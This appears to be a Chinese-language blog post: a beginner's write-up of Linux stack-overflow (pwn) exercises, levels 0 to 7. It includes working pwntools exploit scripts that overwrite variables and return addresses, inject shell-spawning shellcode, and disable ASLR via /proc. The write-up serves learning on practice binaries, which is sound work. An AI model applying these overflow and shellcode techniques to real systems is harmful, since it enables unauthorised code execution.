美文网首页
[pwn] Linux栈溢出入门

[pwn] Linux栈溢出入门

作者: ckj123 | 来源:发表于2019-02-12 13:16 被阅读7次

    做题入门=。=
    菜呀,学习

    level-0

    aris教我checksec一下看是啥文件


    -w592

    32位的打开32位的ida
    主程序


    -w657

    ebp是栈底指针 esp是栈顶指针
    好奇为啥栈底指针在最高的地方

    • aris说是为了最大化利用空间(懵逼)
      学习一下栈的知识

    只要覆盖0x44个字节把 v5覆盖了就行

    # coding=utf8
    from pwn import *
    context.log_level = 'debug'
    context.terminal = ['gnome-terminal', '-x', 'bash', '-c']
    
    payload = "A" * 0x44
    cn.sendline(payload)
    
    cn.readline()
    

    gdb 调试一下


    image

    可以看到已经被覆盖了

    level-1

    -w551

    checksec 一下 发现是32位的

    打开ida


    -w674

    只要把v5的值覆盖成1633837924就行了
    转成16进制


    -w407
    0x61626364
    用pwntools的时候会跳不出argc

    aris说就跟sys.argv 一样需要给参数
    看来只能手输入了


    -w735
    这里刚刚好覆盖到
    换成61626364就好了
    -w732
    因为是小端的所以是反的
    -w711
    ok

    level2

    -w644
    还是32位的一个
    用ida打开
    -w601
    直接运行会这样
    -w610
    有一个getenv函数
    是从系统环境中获得变量,问了一下aris
    export这个命令就行 ch1p告诉我在ida里面可以用h将值变成16进制 -w210

    只要把v5的值覆盖成0d0a0d0a之后就好了
    小端所以是0a0d0a0d

    import os
    
    os.putenv('GREENIE','A'*0X40+'\x0a\x0d\x0a\x0d')
    os.system('./level2')
    

    运行一下成功了


    -w389

    level3

    放到ida看一下

    -w625
    主函数
    -w428
    还有一个win函数
    应该是把v5的值改成win的入口地址
    -w531
    看到win的入口地址是0x08048424
    把v5的值改成这个就行
    需要0x40个A+0x08048424

    aris教我可以用hex来查看堆栈信息
    使用回车可以看后面栈的内容

    可以发现我已经将v5的值改掉了


    -w829 -w343

    成功
    脚本:

    #coding=utf8
    from pwn import *
    
    local = 1
    
    if local:
        cn = process('./level3')
    
    payload = 'A'*0x40+p32(0x08048424)
    cn.sendline(payload)
    
    cn.interactive()
    

    level4

    打开ida

    -w580
    发现main函数只有这么点
    还有一个win函数
    -w463
    还是要跳到这个函数
    找到win函数的入口地址
    看了一下s离ebp是0x40个字节
    所以payload是'A'*0x40+'bbbb'+p32(0x08048424)
    b是用来覆盖ebp 接下来就是返回地址
    在测试的时候发现不行用gdb调试一下
    -w730
    发现并没有跳到我给的地址打印一下栈看一下
    -w734
    发现我的已经写上去了,但是地址还在后面8位
    所以更改payload
    A*0x48+'bbbb'+p32(0x08048424)

    成功!


    -w607

    脚本:

    #coding=utf8
    from pwn import *
    
    local = 1
    
    if local:
        cn = process('./level4')
    
    payload = 'A'*0x48+'bbbb'+p32(0x08048424)
    cn.sendline(payload)
    
    cn.interactive()
    

    解答

    为啥往后移了8位静态分析的时候没啥问题
    问了下aris


    -w540
    -w528

    经过了与之后就比之前小了8就往后移了8位
    23333
    gdb是好东西

    level5

    打开ida


    -w550

    除了这个函数别的都没了
    可以试着写shellcode了


    image
    看一下pwntools自带的shellcode只有44长度
    那个字符串s的长度有48所以写进去应该没啥问题

    不过首先得把ASLR的保护给关了不然写不到那个地址上
    sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

    用gdb调试一下

    shellcode = asm(shellcraft.sh())
    payload = shellcode+'A'*0x1C+p32(0x00000000)+p32(0xffffcf00)
    cn.sendline(payload)
    
    -w774

    可以看到他已经被覆盖成功了,下一步就是shellcode


    -w732

    命令执行成功

    level6

    打开ida

    -w596
    main函数
    看一下getpath函数
    -w473
    应该是从这里入手
    发现不能像level5一样直接覆盖return的地址了
    他做了限定前2位不能是ff
    经过一天的学习=。=
    通过空函数然后在return回来执行下一句return到shellcode就好了
    -w788
    找一个空函数 方便跳回来继续执行
    就是你了0x0804850b
    -w661
    gdb调试一下
    -w556
    成功进去了
    -w591
    return到了我们的shellcode的位置
    -w462
    成功~
    -w853

    脚本:

    shellcode = asm(shellcraft.sh())
    payload = shellcode+'A'*0x20+p32(0x00000000)+p32(0x0804850b)+p32(0xffffceec)
    cn.sendline(payload)
    
    cn.interactive()
    

    level7

    还是和level6一样
    只是getpath函数变了

    -w421
    就是多了一个strdup函数
    上网查了一下他是从堆里面分配空间
    感觉没啥用
    跟上一题一样的思路找一下空函数
    -w837
    0x0804855b
    然后写一下payload
    -w731
    shellcode = asm(shellcraft.sh())
    payload = shellcode+'A'*0x20+p32(0x00000000)+p32(0x0804855b)+p32(0xffffceec)
    # z('b*0x080484EF\nc')
    cn.sendline(payload)
    
    cn.interactive()
    

    番外

    当然有更屌的解法


    -w867

    (等我学成归来)在学习一下

    参考资料

    https://blog.csdn.net/sinat_31054897/article/details/82223889

    相关文章

      网友评论

          本文标题:[pwn] Linux栈溢出入门

          本文链接:https://www.haomeiwen.com/subject/wdkzjqtx.html